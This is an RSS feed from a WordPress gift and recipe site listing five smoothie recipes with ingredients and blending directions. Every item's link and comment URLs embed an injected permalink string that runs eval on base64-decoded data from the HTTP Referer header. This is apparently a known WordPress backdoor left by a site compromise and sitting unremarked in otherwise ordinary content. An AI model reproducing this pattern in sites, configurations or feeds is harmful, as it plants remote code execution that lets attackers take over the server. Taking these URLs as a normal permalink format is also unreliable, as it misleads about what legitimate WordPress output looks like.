<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gift Ideas, Gift Wrap, Recipes and More &#187; Smoothie Recipes</title>
	<atom:link href="http://www.giftwrapandmore.com/category/recipes/drink-recipes/smoothie-recipes/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.giftwrapandmore.com</link>
	<description>Sharing great gift ideas, sharing unique premium gift wrap, sharing hundreds of free recipes, and much more!</description>
	<lastBuildDate>Sun, 13 Dec 2009 06:34:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Orange Cream Smoothie</title>
		<link>http://www.giftwrapandmore.com/2007/03/05/orance-cream-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.giftwrapandmore.com/2007/03/05/orance-cream-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 06 Mar 2007 05:33:26 +0000</pubDate>
		<dc:creator>Cindy</dc:creator>
				<category><![CDATA[Smoothie Recipes]]></category>

		<guid isPermaLink="false">http://www.giftwrapandmore.com/2007/03/05/orance-cream-smoothie/</guid>
		<description><![CDATA[This smoothie combines the delicious flavors of orange and vanilla to make a nutritious breakfast or mid-day snack. 1/2 cup of milk 3/4 cup of orange juice 1/4 teaspoon of vanilla 3/4 cup of vanilla frozen yogurt 1 1/2 tablespoons orange juice concentrate Directions: Add all frozen ingredients to a blender, then add all remaining [...]]]></description>
			<content:encoded><![CDATA[<p>This smoothie combines the delicious flavors of orange and vanilla to make a nutritious breakfast or mid-day snack.</p>
<ul>
<li>1/2 cup of milk</li>
<li>3/4 cup of orange juice</li>
<li>1/4 teaspoon of vanilla</li>
<li>3/4 cup of vanilla frozen yogurt</li>
<li>1 1/2 tablespoons orange juice concentrate</li>
</ul>
<p>Directions:</p>
<p>Add all frozen ingredients to a blender, then add all remaining ingredients.  Blending on high until smooth.</p>
<p><strong>For a delicious variation on this recipe try decreasing the amount of frozen yogurt to 1/2 cup and add 1/4 cup of frozen banana chunks. </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.giftwrapandmore.com/2007/03/05/orance-cream-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apricot Smoothie</title>
		<link>http://www.giftwrapandmore.com/2007/02/26/apricot-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.giftwrapandmore.com/2007/02/26/apricot-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 26 Feb 2007 14:50:15 +0000</pubDate>
		<dc:creator>Cindy</dc:creator>
				<category><![CDATA[Smoothie Recipes]]></category>

		<guid isPermaLink="false">http://www.giftwrapandmore.com/2007/02/26/apricot-smoothie/</guid>
		<description><![CDATA[If you are all about the flavor of apricot you will love this smoothie.  It combines low-fat vanilla ice cream with sliced apricots for a wonderful tasting smoothie.  All you will need for this smoothie is a blender, sliced apricots, apple juice, low-fat vanilla ice cream, and ice. 1 cup of sliced apricots 1/2 cup [...]]]></description>
			<content:encoded><![CDATA[<p>If you are all about the flavor of apricot you will love this smoothie.  It combines low-fat vanilla ice cream with sliced apricots for a wonderful tasting smoothie.  All you will need for this smoothie is a blender, sliced apricots, apple juice, low-fat vanilla ice cream, and ice.</p>
<ul>
<li>1 cup of sliced apricots</li>
<li>1/2 cup of apple juice</li>
<li>3/4 cup of low-fat vanilla ice cream</li>
<li>1 1/4 cups of ice</li>
</ul>
<p>Add the ice, fruit, and remaining ingredients to the blender.  Blend on high until smooth.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.giftwrapandmore.com/2007/02/26/apricot-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Raspberry and Strawberry Blast Smoothie</title>
		<link>http://www.giftwrapandmore.com/2007/02/26/raspberry-and-strawberry-blast-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.giftwrapandmore.com/2007/02/26/raspberry-and-strawberry-blast-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 26 Feb 2007 14:46:46 +0000</pubDate>
		<dc:creator>Cindy</dc:creator>
				<category><![CDATA[Smoothie Recipes]]></category>

		<guid isPermaLink="false">http://www.giftwrapandmore.com/2007/02/26/raspberry-and-strawberry-blast-smoothie/</guid>
		<description><![CDATA[This Smoothie Recipe is a great way to kick start your morning.  It combines apple juice, lemonade, reaspberries, strawberries and sherbet for a great tasting smoothie. You will need the following: 1/2 cup of apple juice 3/4 cup of lemonade 1/2 cup of frozen raspberries 1/4 cup of frozen strawberries 1/2 cup of raspberry sherbet Add [...]]]></description>
			<content:encoded><![CDATA[<p>This Smoothie Recipe is a great way to kick start your morning.  It combines apple juice, lemonade, reaspberries, strawberries and sherbet for a great tasting smoothie. You will need the following:</p>
<ul>
<li>1/2 cup of apple juice</li>
<li>3/4 cup of lemonade</li>
<li>1/2 cup of frozen raspberries</li>
<li>1/4 cup of frozen strawberries</li>
<li>1/2 cup of raspberry sherbet</li>
</ul>
<p>Add all froze ingredients to a blender then add all remaining ingredients.  Blend on high until smooth.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.giftwrapandmore.com/2007/02/26/raspberry-and-strawberry-blast-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mango Sherbert Surprise Smoothie</title>
		<link>http://www.giftwrapandmore.com/2007/02/23/mango-sherbert-surprise-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.giftwrapandmore.com/2007/02/23/mango-sherbert-surprise-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 24 Feb 2007 06:13:01 +0000</pubDate>
		<dc:creator>Cindy</dc:creator>
				<category><![CDATA[Drink Recipes]]></category>
		<category><![CDATA[Smoothie Recipes]]></category>

		<guid isPermaLink="false">http://www.giftwrapandmore.com/2007/02/23/mango-sherbert-surprise-smoothie/</guid>
		<description><![CDATA[This delicious smoothie combines the flavors of pineapple, orange, banana, and mango for a great tropical treat.  This would be great at any Hawaiian or Tropical theme parties.   1/2 cup of pineapple juice 1/2 cup of orange juice 1/2 frozen banana (chunks) 1/2 cup pineapple sherbet 3/4 cup frozen mango slices Add all frozen ingredients [...]]]></description>
			<content:encoded><![CDATA[<p>This delicious smoothie combines the flavors of pineapple, orange, banana, and mango for a great tropical treat.  This would be great at any Hawaiian or Tropical theme parties.  </p>
<ul>
<li>1/2 cup of pineapple juice</li>
<li>1/2 cup of orange juice</li>
<li>1/2 frozen banana (chunks)</li>
<li>1/2 cup pineapple sherbet</li>
<li>3/4 cup frozen mango slices</li>
</ul>
<p>Add all frozen ingredients to a blender, then add all remaining ingredients.  Blend on high until smooth.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.giftwrapandmore.com/2007/02/23/mango-sherbert-surprise-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Strawberry Banana Smoothie</title>
		<link>http://www.giftwrapandmore.com/2007/02/23/strawberry-banana-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.giftwrapandmore.com/2007/02/23/strawberry-banana-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 24 Feb 2007 06:08:22 +0000</pubDate>
		<dc:creator>Cindy</dc:creator>
				<category><![CDATA[Drink Recipes]]></category>
		<category><![CDATA[Smoothie Recipes]]></category>

		<guid isPermaLink="false">http://www.giftwrapandmore.com/2007/02/23/strawberry-banana-smoothie/</guid>
		<description><![CDATA[Now days, more and more people are concerned with their health.  Doctors have determined that people now days are not getting enough fresh fruit and vegetables in our diets.  What better way to spruce up our diets than with a delicious smoothie.  1/2 cup of apple juice 1/2 cup of milk 1/2 frozen banana (chunks) [...]]]></description>
			<content:encoded><![CDATA[<p>Now days, more and more people are concerned with their health.  Doctors have determined that people now days are not getting enough fresh fruit and vegetables in our diets.  What better way to spruce up our diets than with a delicious smoothie. </p>
<ul>
<li>1/2 cup of apple juice</li>
<li>1/2 cup of milk</li>
<li>1/2 frozen banana (chunks)</li>
<li>1 1/4 cups of frozen strawberries</li>
<li>1/2 cup of strawberry yogurt</li>
</ul>
<p>Add all frozen ingredients in a blender, then add all remain ingredients.  Blend on high until smooth.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.giftwrapandmore.com/2007/02/23/strawberry-banana-smoothie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
